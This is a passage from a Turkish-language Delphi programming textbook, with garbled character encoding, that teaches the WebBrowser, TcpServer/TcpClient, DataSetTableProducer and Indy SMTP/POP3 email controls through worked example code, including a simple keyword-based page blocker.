Dön begin WebBrowser1.GoHome; end; x WebBrowser1.GoBack Dolaútı÷ınız sayfalar içerisinde bir önceki sayfaya ulaúmak için kullanılan methoddur. procedure TForm1.Button2Click(Sender: TObject); //Önceki Sayfaya Dön begin WebBrowser1.GoBack; end; Burada yeri gelmiúken belirtelim. ùayet ilk sayfada iseniz ve gidecek baúka sayfa olmadı÷ı zaman uygulamanız size hata mesajı iletecektir. Oluúabilecek bu mesajı engelleyebilmeniz için kodu aúa÷ıdaki úekilde de÷iútirmek zorundasınız (Aynı durum sonraki sayfa içinde geçerli olacaktır). 298 procedure TForm1.Button2Click(Sender: TObject); //Önceki Sayfaya Dön begin try WebBrowser1.GoBack; except Button2.Enabled:=false; end; end; x WebBrowser1.GoForward WebBrowser içerisinde bir sonraki sayfaya geçilebilmesi için kullanılan methoddur. ùayet bu sayfa yoksa hata mesajı verecektir. Bu yüzden aúa÷ıdaki úekilde kullanmalısınız. procedure TForm1.Button3Click(Sender: TObject); //Sonraki Sayfaya Git begin try WebBrowser1.GoForward; Except //hata olursa iúler Button3.Enabled:=false; end; end; x WebBrowser1.GoSearch “Internet Explorer” içerisinde belirlenmiú olan arama sayfasına ulaúmak için kullanılan methoddur. procedure TForm1.Button4Click(Sender: TObject); //Arama Sayfasına Git begin WebBrowser1.GoSearch; end; x WebBrowser1.LocationURL Ba÷lanılan sayfanın web adresini tutan özelli÷idir. Sayfa de÷iúti÷i zaman ComboBox içerisindeki veriyi bu özellikle de÷iútirebilirsiniz. 299 procedure TForm1.Button1Click(Sender: TObject); //Ana Syfaya Dön begin WebBrowser1.GoHome; ComboBox1.Text:=WebBrowser1.LocationURL; end; x WebBrowser1.LocationName Ba÷landı÷ınız sayfanın adresinin bulundu÷u ilk ismi döndüren özelli÷idir. Uygulama 1: WebBrowser Örne÷i Aúa÷ıdaki tasarımı oluúturup gerekli kod blo÷unu “Unit” pencerenizdeki yordamlara ekleyiniz. procedure TForm1.FormCreate(Sender: TObject); begin ComBoBox1.Items.Add('http://www.prestigeturk.com'); ComBoBox1.Items.Add('http://www.gazi.edu.tr'); ComBoBox1.Items.Add('http://www.superonline.com'); ComBoBox1.Items.Add('http://www.mynet.com'); ComboBox1.ItemIndex:=0;//ilk elemanı göster WebBrowser1.Navigate(ComboBox1.Text); end; procedure TForm1.ComboBox1Click(Sender: TObject); begin 300 WebBrowser1.Navigate(ComboBox1.Text); Button2.Enabled:=true; Button3.Enabled:=true; end; procedure TForm1.Button1Click(Sender: TObject); //Ana Syfaya Dön begin WebBrowser1.GoHome; ComboBox1.Text:=WebBrowser1.LocationURL; end; procedure TForm1.Button2Click(Sender: TObject); //Önceki Sayfaya Dön begin try WebBrowser1.GoBack; except Button2.Enabled:=false; Button3.Enabled:=true; end; end; procedure TForm1.Button3Click(Sender: TObject); //Sonraki Sayfaya Git begin try WebBrowser1.GoForward; except Button3.Enabled:=false; Button2.Enabled:=true; end; end; procedure TForm1.Button4Click(Sender: TObject); //Arama Sayfasına Git begin WebBrowser1.GoSearch; ComboBox1.Text:='www.mmicrosoftsourch.com'; end; procedure TForm1.ComboBox1Change(Sender: TObject); begin WebBrowser1.Navigate(ComboBox1.Text); Button2.Enabled:=true; Button3.Enabled:=true; end; 301 procedure TForm1.ComboBox1KeyPress(Sender: TObject; var Key: Char); begin if Key=#13 Then WebBrowser1.Navigate(ComboBox1.Text); end; Uygulama 2:Sakıncalı Sayfalar øçin WebBrowser Örne÷i Aúa÷ıdaki uygulamada belirleyece÷imiz kelimelerin içerisinde geçece÷i web sayfalarına giriúi engelleyece÷iz. Burada kullanılan “WebBrowser1DownloadBegin” yordamı web sayfası indirilmeye baúlandı÷ı anda otomatik olarak iúleyecektir. Burada yaptıraca÷ınız kontrolle sayfanın güvenli olup olmadı÷ını kontrol ettirebilirsiniz. Yukarıdaki formda ComboBox içerisine “sex” veya “eritica” kelimelerini kullanırsanız sayfayı açamayacak ve aúa÷ıdaki mesaj ile karúılaúacaksınız. Mesaj iletildikten ulaúılabilmektedir. 302 sonrada belirtilen kod çerçevesinde ana sayfaya Uygulama için kullanılan tüm kod blo÷u aúa÷ıda verilmiútir. Dikkatlice inceleyiniz. procedure TForm2.FormCreate(Sender: TObject); begin ComboBox1.Items.Add('http://www.prestigeturk.com'); ComboBox1.Items.Add('http://www.microsoft.com'); ComboBox1.Items.Add('http://www.mynet.com'); ComboBox1.Items.Add('http://www.superonline.com'); ComboBox1.ItemIndex:=0;//ilk elemanı göster WebBrowser1.Navigate(ComboBox1.Text); RadioButton1.Checked:=true; end; procedure TForm2.Button1Click(Sender: TObject); //Ana Sayfaya Git begin WebBrowser1.GoHome; end; procedure TForm2.Button2Click(Sender: TObject); //Önceki Sayfa begin try WebBrowser1.GoBack; ComboBox1.Text:=WebBrowser1.LocationURL; except Button2.Enabled:=false; end; end; procedure TForm2.Button3Click(Sender: TObject); //Sonraki Sayfa begin try WebBrowser1.GoForward; ComboBox1.Text:=WebBrowser1.LocationURL; except Button3.Enabled:=false; end; end; procedure TForm2.Button4Click(Sender: TObject); //Arama Sayfasına Git begin WebBrowser1.GoSearch; WebBrowser1.Navigate('www.microsoftsourch.com');//siz de÷iútirin 303 end; procedure TForm2.WebBrowser1DownloadBegin(Sender: TObject); var i,j:Integer; aranan:AnsiString; begin aranan:=ComboBox1.Text; Form2.Text:=aranan; i:=Pos('sex',aranan);//içinde ara j:=Pos('erotica',aranan); if (i<>0)or(j<>0) Then //øçinde varsa begin if RadioButton2.Checked Then//iúaretli ise begin ShowMessage('Bu Sayfa Çocuklara Göre De÷il'); WebBrowser1.GoHome;//Ana sayfaya dön ComboBox1.Text:='http://www.mynet.com';//ana sayfanız neyse exit; end; end; end; procedure TForm2.ComboBox1KeyPress(Sender: TObject; var Key: Char); begin if Key=#13 Then begin WebBrowser1.Navigate(ComboBox1.Text); ComboBox1.Items.Add(ComboBox1.Text); end; end; procedure TForm2.ComboBox1Click(Sender: TObject); begin WebBrowser1.Navigate(ComboBox1.Text); ComboBox1.Items.Add(ComboBox1.Text); end; Uyarı:Bu kontrol sisteminizin kullandı÷ı Browser üzerinden sayfalara ulaúabilmektedir. Bu yüzden muhakkak kullandı÷ınız bir Browserin bilgisayarınızda aktif olması gerekecektir. 304 TcpServer Kontrolü Bu kontrol sayesinde “Tcp/IP” kullanan a÷larda haberleúme iúlemi kolayca sa÷lanabilmektedir. Kontrole ait özellikler aúa÷ıda listelenmektedir. x TcpServer1.LocalPort Bilgisayarların birbirleriyle haberleúecekleri port bu özellikle belirlenir. Port numaralarında dikkat etmeniz gereken bir husus vardır. Bir veriyi hangi numaradan gönderiyorsanız, yine o numaralı porttan dinlemelisiniz. Aksi takdirde port dinleme iúleminiz baúarısızlıkla sonuçlanacaktır. procedure TForm1.FormCreate(Sender: TObject); begin TcpServer1.LocalPort:=’20000’;//string tip end; x TcpServer1.Active Portun dinlenmeye baúlanması için gerekli olan özelliktir. True de÷erinin aktarılması o portun dinlemeye alındı÷ı anlamını taúımaktadır (Bu iúlemi port numarasını belirledikten sonra yapın). procedure TForm1.FormCreate(Sender: TObject); begin TcpServer1.LocalPort:=20000; TcpServer1.Active:=True;//20000 numaralı portu dinlemeye al end; x OnAccept Yordamı “TcpServer” kontrolü bu yordamı kullanarak portan gelen veriyi ve bilgiyi gönderen bilgisayara ait özellikleri ö÷renebilir. Aúa÷ıdaki úekilde tanımlanmıútır. Lütfen açıklamalara dikkat ediniz. procedure TForm1.TcpServer1Accept(Sender: TObject; ClientSocket: TCustomIpClient); begin end; 305 Prosedür içerisinde “ClientSocket” isimli bir de÷iúken tanımlıdır. Bu de÷iúkeni kullanarak gönderilen mesajı, gönderen bilgisayarın “IP” numarasını, bilgisayar ismini, port numarasını vs. kolayca ö÷renebilirsiniz. x ClientSocket.RemoteHost Bu özellik ile mesajı gönderen bilgisayarın “IP” numarasını ö÷renebilirsiniz. procedure TForm1.TcpServer1Accept(Sender: TObject; ClientSocket: TCustomIpClient); begin ListBox1.Items.Add(ClientSocket.RemoteHost); //ip numarasi end; x ClientSocket.LocalHostAddr Bu özellikle lokal bilgisayarın “IP” numarası ö÷renilebilir. procedure TForm1.TcpServer1Accept(Sender: TObject; ClientSocket: TCustomIpClient); begin ListBox1.Items.Add(ClientSocket.LocalHostAddr);//ip numarası end; x ClientSocket.LocalHostName Bu özellik ile Bilgisayarın ismini ö÷renebilirsiniz. procedure TForm1.TcpServer1Accept(Sender: TObject; ClientSocket: TCustomIpClient); //Bilgisayar ismi begin ListBox1.Items.Add(ClientSocket.LocalHostName);//bilgisayarın adı end; x ClientSocket.Receiveln() Porta gelen veri bu method kullanılarak okunabilir. Methoddan geriye string içerikli de÷er döndü÷ü için direk string tipte bir de÷iúkene aktarılabilir. 306 procedure TForm1.TcpServer1Accept(Sender: TObject; ClientSocket: TCustomIpClient); var x:AnsiString; begin ListBox1.Items.Add(ClientSocket.RemoteHost); //ip numarasi x:=ClientSocket.Receiveln();//portu oku ListBox2.Items.Add(x); //ListBoxa aktar end; 307 TcpClient Kontrolü Bu kontrolü kullanarak “TCPServer” kontrolüne bilgi gönderilebilir, veya “TCPServer” kontrolünden gelen mesajlar okunabilir. Kontrole ait genel özellikler aúa÷ıda verilmiútir. x TcpClient1.RemoteHost Bu özellik sayesinde mesajın gönderilece÷i bilgisayar belirlenecektir. Aktarılacak olan de÷er string tipte veri olup, di÷er bilgisayarın “IP” numarası olacaktır. procedure TForm1.Button1Click(Sender: TObject); begin TcpClient1.RemoteHost:='10.11.0.180' ;// bu makineye mesaj gönderilecek end; x TcpClient1.RemotePort Di÷er bilgisayarla haberleúilecek olan port numarası bu özellikle belirlenir. String tipte bir de÷er atanabilir. Unutmayın “TcpServer” hangi portu dinliyorsa o numaralı porttan veri gönderebilirsiniz. procedure TForm1.Button1Click(Sender: TObject); begin TcpClient1.RemoteHost:='10.11.0.180' ;// bu makineye mesaj gönderilecek TcpClient1.RemotePort:='20000';//Bu porttan gönderilecek end; x TcpClient1.Active Ba÷lantı iúleminin gerçekleúebilmesi için gerekli olan özelli÷idir. økinci kez veri aktarılaca÷ı zaman tekrar aktifleútirilmelidir. procedure TForm1.Button1Click(Sender: TObject); begin TcpClient1.Active:=false; //kapat TcpClient1.Active:=True;//Aç end; 308 x TcpClient1.Sendln() “TcpServer” kontrolüne mesaj göndermek için kullanılan methoddur. Gönderilecek olan mesaj string tipte bir de÷iúkenin de÷eri olacaktır. procedure TForm1.Button1Click(Sender: TObject); begin TcpClient1.Active:=false; //kapat TcpClient1.RemoteHost:='10.11.0.180' ;// bu makineye mesaj gönderilecek TcpClient1.RemotePort:='20000';//Bu porttan gönderilecek TcpClient1.Active:=TRUE; //aç TcpClient1.Sendln('NEHABER');//Gönder end; x OnConnect Yordamı “TcpServer” kontrolü ile ba÷lantı sa÷landı÷ı anda otomatik olarak iúleyen bir yordamdır. procedure TForm1.TcpClient1Connect(Sender: TObject); begin ShowMessage('Server øle Ba÷lantı Sa÷landı'); end; x OnDisConnect Yordamı “TcpServer” bilgisayarı ile ba÷lantı koptu÷u anda otomatik olarak iúleyen bir yordamdır. “TcpClient1.Active:=false” satırı bu yordamı iúletecektir. procedure TForm1.TcpClient1Disconnect(Sender: TObject); begin ShowMessage('Baúlantı Kesildi'); end; x OnSend Yordamı “TcpServer” kontrolüne mesaj gönderildi÷i anda otomatik olarak iúleyen bir yordamdır. procedure TForm1.TcpClient1Send(Sender: TObject; Buf: PAnsiChar; var DataLen: Integer); begin Label1.Caption:='Mesaj Gönderiliyor'; end; 309 Uygulama 3:Di÷er Bilgisayardaki Tabloyu Sorgulamak: Örne÷imiz için iki adet uygulama geliútirece÷iz. Birincisi tablo bilgilerimizin yer aldı÷ı server uygulaması (server uygulamasının iúletim sistemiyle herhangi bir ilgisi yoktur. TcpServer kontrolünü kullandı÷ı için server uygulaması olarak adlandırılacaktır), ikincisiyse ürünün numarasını di÷er bilgisayardan gönderecek olan “Client” uygulaması. øki projeye ait tasarım aúa÷ıda verilmektedir. Adımları sırasıyla izleyiniz. Server Uygulaması: Bu uygulama için öncelikle aúa÷ıdaki tabloyu paradox içerisinde oluúturup “gazi” aliasının içerisine “URUN” ismiyle kaydediniz. Ardından içerisine gerekli olan kayıtlarınızı giriniz. Artık formunuzun tasarımına baúlayabilirsiniz. Birinci adımda formunuza bir adet “Query” kontrolü ekleyerek “DataBaseName” özelli÷ine “gazi” ismini aktarınız. økinci adımda formunuza bir adet “DataSource” kontrolü yerleútirip “DataSet” özelli÷ine “Query1” kontrolünü aktarınız. Üçüncü adımda formunuza bir adet “DBGrid” nesnesi yerleútirip “DataSource” özelli÷ine “DataSource1” kontrolünü aktarınız. 310 Dördüncü adımda formunuza “Internet” yapra÷ında yer alan “TcpServer” kontrolünden bir adet yerleútirerek aúa÷ıdaki tasarımı oluúturunuz. Beúinci adım olarak aúa÷ıdaki kod blo÷unu “Unit” pencerenize ekleyiniz. procedure TForm1.FormCreate(Sender: TObject); //Açılıúta hepsini göster begin Query1.SQL.Clear; Query1.SQL.Add('Select * From URUN'); Query1.Open; TcpServer1.LocalPort:='20000'; TcpServer1.Active:=True; end; procedure TForm1.TcpServer1Accept(Sender: TObject; ClientSocket: TCustomIpClient); //Porttan oku ve sorgula var veri:AnsiString; deger:Integer; begin veri:=ClientSocket.Receiveln();//portu oku deger:=StrToInt(veri); Query1.SQL.Clear; Query1.SQL.Add('Select * From URUN Where BARKODNO=:BAR'); Query1.Params[0].AsInteger:=deger; Query1.Open; end; ùimdi oluúturdu÷unuz bu projeyi kaydedip di÷er uygulamayı geliútirmeye baúlayınız (kaydettikten sonra bir kez çalıútırın, exe si oluúsun). 311 Client Uygulaması Server uygulamasına parametre de÷erini gönderecek olan “Client” uygulaması için aúa÷ıdaki tasarımı oluúturunuz. Birinci adımda formunuza bir adet label, bir adet Edit ve bir adet Button kontrolü yerleútiriniz. økinci adımda formunuza “Internet” yapra÷ında yer alan “TcpClient” kontrolünden bir adet yerleútirip aúa÷ıdaki kod blo÷unu da “Unit” penceresine ekleyiniz. procedure TForm1.Button1Click(Sender: TObject); var veri:AnsiString; begin veri:=Edit1.Text; TcpClient1.Active:=false; TcpClient1.RemotePort:='20000'; TcpClient1.RemoteHost:='10.11.0.180';//Di÷er IP Numaranız olacak TcpClient1.Active:=true; TcpClient1.Sendln(veri);//gönder end; ùimdi server uygulamasını çalıútırın. Aúa÷ıdaki úekilde tüm kayıtlar listelenecektir. 312 ùimdi de Client uygulamasının “exe” sini çalıútırıp iki pencereyide aúa÷ıdaki úekilde alt alta alın. Server Uygulaması Client Uygulaması “Client Uygulamasında” Edit kutusuna sorgulama kriteriniz olan “Barkod” Numarasını girip “Gönder” isimli dü÷meye tıklayınız. “Server Uygulaması” için ekran görüntünüz yukarıdaki pencerede oldu÷u gibi sadece “50” numaralı ürünün gösterildi÷i tek kayıtlık bir hal alacaktır. 313 DataSetTableProducer Kontrolü Bu kontrol sayesinde hiç bir kod kullanmadan tablolarınızdaki kayıtları “html” formatına aktarıp web sayfanızda yayımlayabilirsiniz. Kullanımı sonderece basittir. Aúa÷ıda özellik ve methodları verilmektedir. x DataSetTableProducer1.DataSet Html kodu oluúturulacak tablo bu özellikle belirlenir. Kodla veya “Object Inspector” penceresinden belirleyebilirsiniz. procedure TForm1.ListBox1Click(Sender: TObject); begin DataSetTableProducer1.DataSet:=Table1; end; x DataSetTableProducer1.Caption “Html” kodu içerisinde “Title” da yer alacak baúlık bu özellikle belirlenir. procedure TForm1.ListBox1Click(Sender: TObject); begin DataSetTableProducer1.Caption:='SIRKET KAR DURUMU'; End; x DataSetTableProducer1.content “DataSetTablePageProducer” kontrolü table nesnesine ba÷landı÷ı anda üretilecek olan “html” kodu bu komut sayesinde gerçekleúecektir. Geriye dönen de÷er string tipte olup AnsiString bir de÷iúkene direk olarak atanabilir. procedure TForm1.ListBox1Click(Sender: TObject); //html kodu üret var html:AnsiString; begin html:=DataSetTableProducer1.content; //kodu üret end; 314 Uyglama 4:Tabloları Web Sayfasında Görüntülemek Aúa÷ıdaki uygulamada “gazi” aliası içerisindeki tüm tablolar ListBox içerisinde listelenmekte, seçilen tablo kayıtları için, memo1 kontrolünde “html” kodu, WebBrowser’dada Web sayfası görünümü listelenmektedir. Aúa÷ıdaki tasarımı oluúturp gösterilen adımları sırasıyla izleyiniz. Birinci adımda formunuza bir adet ListBox, Bir adet Memo,Bir adet Table,bir adet DataSource, Bir adet DBGrid, bir adet WebBrowser kontrolü yerleútirin. økinci adımda tablonuza ait “DataBaseName” özelli÷ine “gazi” aliasını aktarınız (tablolarımız bu aliasın içerisinde). Üçüncü adımda “DataSource” nesnenize ait “DataSet” özelli÷ine “Table1” kontrolünü aktarınız. Dördüncü adımda “DBGrid” nesnesine ait “DataSource” özelli÷ine “DataSource1” de÷erini aktarınız. Altıncı adımda “Table1” kontrolüne ait “Active” özelli÷ini true yapınız. Bu aúamadan sonraki kısmı program koduyla gerçekleútirece÷iz. Bu yüzden yedinci adım olarak aúa÷ıdaki kod blo÷unu “Unit” pencerenize ekleyiniz. 315 procedure TForm1.FormCreate(Sender: TObject); //gazi aliası içerisindeki tabloları listboxa ekle var deger:TStrings; begin deger:=TStringList.Create;//yarat Session.GetTableNames('gazi','*.*',true,false,deger);//tabloları deger e al ListBox1.Items:=deger; //tüm tabloları göster Table1.DatabaseName:='gazi'; //bu kod blo÷undan sonra listBox içerisinde tüm tablolar listelenecektir end; procedure TForm1.ListBox1Click(Sender: TObject); var i:Integer; begin Table1.Close; i:=ListBox1.ItemIndex; Table1.TableName:=ListBox1.Items[i]; if i=0 Then DataSetTableProducer1.Caption:='SIRKET KAR DURUMU' else if i=1 Then DataSetTableProducer1.Caption:='MAGAZA BILGILERI' else if i=2 Then DataSetTableProducer1.Caption:='MUSTERI BILGILERI' else if i=3 Then DataSetTableProducer1.Caption:='SERVIS BILGILERI' else if i=4 Then DataSetTableProducer1.Caption:='URUN BILGILERI'; Table1.Open; DataSetTableProducer1.DataSet:=Table1; Memo1.Text:=DataSetTableProducer1.content; //html kodu üret Memo1.Lines.SaveToFile('c:\yenitablo.html');//kaydet WebBrowser1.Navigate('c:\yenitablo.html');//sayfayı görüntüle end; 316 Programınızı çalıútırdıktan sonra ListBox kontrolü içerisinde yer alacak olan tablolardan bir tanesine tıklayın. Ekran görüntünüz aúa÷ıdaki úekilde gerçekleúecektir. Sa÷ altta yer alan görüntünün “WebBrowser” a ait oldu÷unu sanıyorum fark etmiúsinizdir. 317 318 BÖLÜM 12 INDY KONTROLLERø 319 320 Indy Kontrolleri: Bu kontroller Delphi 6 versiyonu sonrası projelere eklenmiú, Delphi 7 de daha da geliútirilmiútir. Performansı artırıcı tedbirler eklenmiú olup optimal hız elde edilmeye çalıúılmıútır. Bu yapraklarda (Indy Server- Indy Client-Indy Misc) yer alan kontroller Bloking modda çalıúırlar yani alttaki satırın iúletilebilmesi için üstteki satırın gerçekleúmesi gerekecektir. Yani ba÷lan komutunu verdikten sonra ba÷lantı sa÷lanana kadar uygulamanız donacak baúka bir iúlem yapamayacaksınız (bu sıkıntı yeni kanallar yaratılarak giderilebilir). Server – Client mantı÷ıyla çalıútıkları için hepsini beraber anlatmayı uygun gördüm. IdSMTP Kontrolü: Internet üzerinden di÷er bilgisayarlara mail göndermek için kullanılan bir kontroldür (Indy Clients Yapra÷ında yer alır). Tek baúına mail gönderebilece÷i gibi, Indy Misc yapra÷ında yer alan “IdMessage” kontrolünü kullanarak daha geliúmiú mailler de gönderebilmektedir (dosya eklenebilir, yazılar formatlanabilir vs). x IdSMTP1.Host Servis sa÷layıcınızın (e-maili gönderirken üzerinden geçece÷i server ın ismi) ismini aktarabilece÷iniz özelli÷idir. procedure TForm1.Button1Click(Sender: TObject); begin IdSMTP1.Host:='www.mynet.com'; end; x IdSMTP1.AuthenticationType Mail Server ın úifre sorup sormayaca÷ını belirleyen özelli÷idir. Bazı mail serverlar úifreyi zorunlu tutmuúlardır. Bu serverlar üzerinden mail gönderebilmeniz için yetkili bir úifreye sahip olmalısınız. Alabilece÷i iki seçenek vardır. AuthenticationType Sonuç atNone Server ùifre Sormaz atLogin Server ùifre Sorar 321 procedure TForm1.Button1Click(Sender: TObject); begin IdSMTP1.AuthenticationType:=atnone;//úifre yok end; x IdSMTP1.Username AuthenticationType özelli÷inin “atLogin” olması durumunda kullanıcı adı yerine geçecek olan özelli÷idir. procedure TForm1.Button1Click(Sender: TObject); begin IdSMTP1.Host:='www.mynet.com'; IdSMTP1.AuthenticationType:=atnone; IdSMTP1.Username:=’n_demirli’; end; x IdSMTP1.Port Mail in gönderilece÷i port numarası bu özellikle belirlenir. procedure TForm1.Button1Click(Sender: TObject); begin IdSMTP1.Port:=25;//25 numaralı portu kullan end; x IdSMTP1.QuickSend Sadece basit mesajları (formatsız ve dosya eki olmayanları) göndermek için kullanılan methoddur. procedure TForm1.Button1Click(Sender: TObject); begin IdSMTP1.QuickSend('mail.mynet.com','Yeni Baúlık','[email protected]', '[email protected]','Tamamdır'); end; Birinci parametre mail server ismini, ikinci parametre baúlıkta yer alacak olan metni, üçüncü parametre kimin gönderdi÷ini, dördüncü parametre de kime gidece÷ini belirleyen de÷erlere sahiptirler. 322 x IdSMTP1.Connect Mail gönderme iúleminde “IDMessage” (indy misk yapra÷ında bulunur. Ayrıca bu kontrolün kullanıldı÷ı e-mailler için bundan sonra geliúmiú olarak bahsedilecektir) kontrolü kullanılacaksa mail servera ba÷lanabilmek için kullanılan methoddur. procedure TForm1.Button1Click(Sender: TObject); //Ba÷lan begin IdSMTP1.Connect;//ba÷lan end; x IdSMTP1.Send Geliúmiú derecede e-mail göndermek için (dosya ekli,formatlı vs) kullanılan methoddur. Parametre olarak “IdMessage” kontrolünü kullanacaktır. procedure TForm1.Button1Click(Sender: TObject); //Gönder begin IdSMTP1.Send(IdMessage1); end; x IdSMTP1.Disconnect Mail gönderildikten sonra ba÷lantıyı kapatmak için kullanılan methoddur. procedure TForm1.Button1Click(Sender: TObject); //Ba÷lantıyı Kes begin IdSMTP1.Disconnect;//ba÷lantıyı kes end; ùimdi de bu kontrolle beraber kullanaca÷ımız “IdMessage”nesnesinin e-mail gönderme iúlemlerinde kullanaca÷ımız özelliklerini inceleyece÷iz. Daha sonra gösterece÷imiz e-mail alma iúleminde de “IdMessage” kontrolünün di÷er özelliklerini inceleyece÷iz. 323 IdMessage Kontrolü: Bu kontrolu tek baúına de÷ilde belirtece÷imiz di÷er elemanlarla beraber kullanırsanız çok etkili sonuçlar alacaksınız. “Indy Misc” yapra÷ında yer almakta olup hem mesaj alma, hemde mesaj gönderme iúleminde kullanılmaktadır. Ayrıca e-mail gönderirken mesajınıza ekleyece÷iniz bir dosya varsa yine bu kontrole ihtiyacınız olacaktır. x IdMessage1.From.Name Karúı tarafın e-mail i kimin gönderdi÷ini anlaması için kullanılan özelliktir. AnsiString tipte bir de÷iúken de÷eri aktarılabilir. procedure TForm1.Button1Click(Sender: TObject); begin IdMessage1.From.Name:=Edit1.Text; end; x IdMessage1.From.Address Bu özellikle de e-maili gönderen kiúinin adresi di÷er bilgisayara gönderilebilir. procedure TForm1.Button1Click(Sender: TObject); begin IdMessage1.From.Address:='[email protected]'; end; x IdMessage1.Subject Gönderilecek olan mesajın baúlı÷ı bu özellikte tutulur. Di÷er bilgisayarda mesajın baúlı÷ında gözükecektir. procedure TForm1.Button1Click(Sender: TObject); begin IdMessage1.Subject:=Edit4.Text; end; x IdMessage1.Body.Assign Gönderilecek olan mesaj memo veya ListBox gibi bir kontrolden alınacaksa (Items özelli÷i) içerik bu özellikle belirlenir. 324 procedure TForm1.Button1Click(Sender: TObject); begin IdMessage1.Body.Assign(Memo1.Lines); end; x IdMessage1.Body.Add ùayet mesaj içeri÷i satır satır aktarılacaksa kullnılabilecek ikinci yöntemdir. procedure TForm1.Button1Click(Sender: TObject); begin IdMessage1.Body.Add('Selam'); end; x IdMessage1.ReplyTo.EMailAddresses E-mail e direk cevap yazılması durumunda kullanılacak olan e-mail adresi bu özellikle belirlenir. procedure TForm1.Button1Click(Sender: TObject); begin IdMessage1.ReplyTo.EMailAddresses:='[email protected]'; end; x IdMessage1.Recipients.EMailAddresses E-mail in gönderilece÷i adres bu özellikle belirlenir. procedure TForm1.Button1Click(Sender: TObject); begin IdMessage1.Recipients.EMailAddresses:=Edit2.Text; end; x IdMessage1.BccList.EMailAddresses ùayet e-mail birden fazla adrese gönderilecekse di÷er mail adresini bu özelli÷e aktarmalısınız. procedure TForm1.Button1Click(Sender: TObject); begin IdMessage1.BccList.EMailAddresses:=Edit3.Text; end; 325 x IdMessage1.MessageParts E-mail inize dosya eklemek için kullanabilece÷iniz methoddur. Aúa÷ıdaki yöntemle dosyayı email e ekleyebilirsiniz. procedure TForm1.Button2Click(Sender: TObject); //Dosya ekle var yol:AnsiString; begin if OpenDialog1.Execute Then yol:=OpenDialog1.FileName; TIdAttachment.Create(IdMessage1.MessageParts,yol); End, Yukarıda gösterilen úekilde istedi÷iniz kadar dosyayı e-mailinize ekleyebilir, di÷er bilgisayara gönderebilirsiniz. Uygulama 5:E-Mail Göndermek Yukarıdaki iki kontrolü kullanarak diledi÷imiz adrese e-mail gönderebiliriz. Aúa÷ıda bu husus örneklendirilmektedir. Program için yukarıdaki tasarımı oluúturunuz. Ardından aúa÷ıdaki adımları izleyin. 326 Birinci adımda formunuza “Indy Client” yapra÷ında yer alan “IdSMTP” kontrolünü yerleútiriniz. økinci adımda formunuza “Indy Misc” yapra÷ında yer alan “IdMessage” kontrolünü yerleútiriniz. Üçüncü adımda formunuza bir adet “OpenDialog” kontrolü yerleútiriniz. Dördüncü adımda aúa÷ıda verilen kod blo÷unu “Unit” pencerenize ekleyin. procedure TForm1.Button1Click(Sender: TObject); begin IdSMTP1.Host:='www.mynet.com'; IdSMTP1.AuthenticationType:=atnone;//úifre yok IdSMTP1.Username:=Edit1.Text; IdSMTP1.Port:=25; IdSMTP1.Connect; IdMessage1.From.Name:=Edit1.Text; IdMessage1.From.Address:='[email protected]'; IdMessage1.Subject:=Edit4.Text;//Baúlık IdMessage1.Body.Assign(Memo1.Lines);//Mesaj øçeri÷i IdMessage1.ReplyTo.EMailAddresses:='[email protected]'; IdMessage1.Recipients.EMailAddresses:=Edit2.Text;//Buraya Yolla IdMessage1.BccList.EMailAddresses:=Edit3.Text;//Bunlarada gitsin IdSMTP1.Send(IdMessage1); //yolla IdSMTP1.Disconnect; end; procedure TForm1.Button2Click(Sender: TObject); var yol:AnsiString; begin if OpenDialog1.Execute Then yol:=OpenDialog1.FileName; TIdAttachment.Create(IdMessage1.MessageParts,yol);//ekle if CheckBox1.Checked=false Then begin CheckBox1.Visible:=true; CheckBox1.Checked:=true; CheckBox1.Caption:=ExtractFileName(yol);//dosyanın adını yaz CheckBox1.Enabled:=false; end else if CheckBox2.Checked=false Then begin CheckBox2.Visible:=true; CheckBox2.Checked:=true; 327 CheckBox2.Caption:=ExtractFileName(yol); CheckBox2.Enabled:=false; end else if CheckBox3.Checked=false Then begin CheckBox3.Visible:=true; CheckBox3.Checked:=true; CheckBox3.Caption:=ExtractFileName(yol); CheckBox3.Enabled:=false; end else showMessage('Maximum 3 Dosya Ekleyebilirsiniz'); Edit5.Text:=yol; end; procedure TForm1.FormCreate(Sender: TObject); begin CheckBox1.Visible:=false; CheckBox2.Visible:=false; CheckBox3.Visible:=false; Edit1.Text:='Nihat Demirli'; Edit2.Text:='[email protected]'; Edit3.Text:='[email protected]'; Edit4.Text:='Yeni Kitaplar øçin Görüú'; end; 328 IdPOP3 Kontrolü: Bu kontrol sayesinde “Mail Server” unuza ba÷lanabilir “Kullanıcı adı” ve ”ùifre” nizi biliyorsanız tüm e-mail bilgilerinizi okuyabilirsiniz. “Indy Client” yapra÷ında yer alan bu kontrol yine “IdMessage” kontrolüyle çök güzel iúlemler gerçekleútirebilmektedir. x IdPOP31.CheckMessages Mail Server unuzda e-mail inizin olup olmadı÷ını kontrol edebilece÷iniz bir methoddur. Geriye döndürdü÷ü de÷er var olan e-mail sayıdır. procedure TForm3.Button1Click(Sender: TObject); var sayi,i:Integer; begin sayi:=IdPOP31.CheckMessages;//Kaç mail var end; x IdPOP31.Host Ba÷lantı kuraca÷ınız “Mail Server” a ait adres bu özellikle belirlenebilir. procedure TForm3.Button1Click(Sender: TObject); begin IdPOP31.Host:='mail.mynet.com'; End; x IdPOP31.Username Mail Server bilgisayarında tanıtılmıú olan kullanıcı adını aktarabilece÷iniz özelli÷idir. Mail alırken kullanıcı adı ve úifresi son derece önem arz etmekte, bilinmesi zorunlu olmaktadır (gönderirken aynı hassasiyeti tüm mail server lar göstermemektedir). procedure TForm3.Button1Click(Sender: TObject); begin IdPOP31.Host:='mail.mynet.com'; IdPOP31.Username:=N_Demirli'; End; 329 x IdPOP31.Password Mail Server bilgisayarına ba÷lanırken kullanaca÷ınız úifreyi bu özellikle belirlemelisiniz. procedure TForm3.Button1Click(Sender: TObject); begin IdPOP31.Host:='mail.mynet.com'; IdPOP31.Username:=N_Demirli; IdPOP31.Password:='sari_tavsanim'; End; x IdPOP31.Connect() Yukarıdaki tüm ayarları yaptıktan sonra, Mail Server bilgisayarına ba÷lanmak için kullanılan methoddur. procedure TForm3.Button1Click(Sender: TObject); begin IdPOP31.Host:='mail.mynet.com'; IdPOP31.Username:=N_Demirli; IdPOP31.Password:='sari_tavsanim' IdPOP31.Connect();//Ba÷lan End; x IdPOP31.Retrieve Belirtilen index numaralı e-mail e ait tüm de÷erleri “IdMessage” kontrolüne aktarmak için kullanılan methoddur. procedure TForm3.Button1Click(Sender: TObject); begin IdPOP31.Retrieve(i,IdMessage1); End; x IdPOP31.Disconnect() Ba÷lantıyı 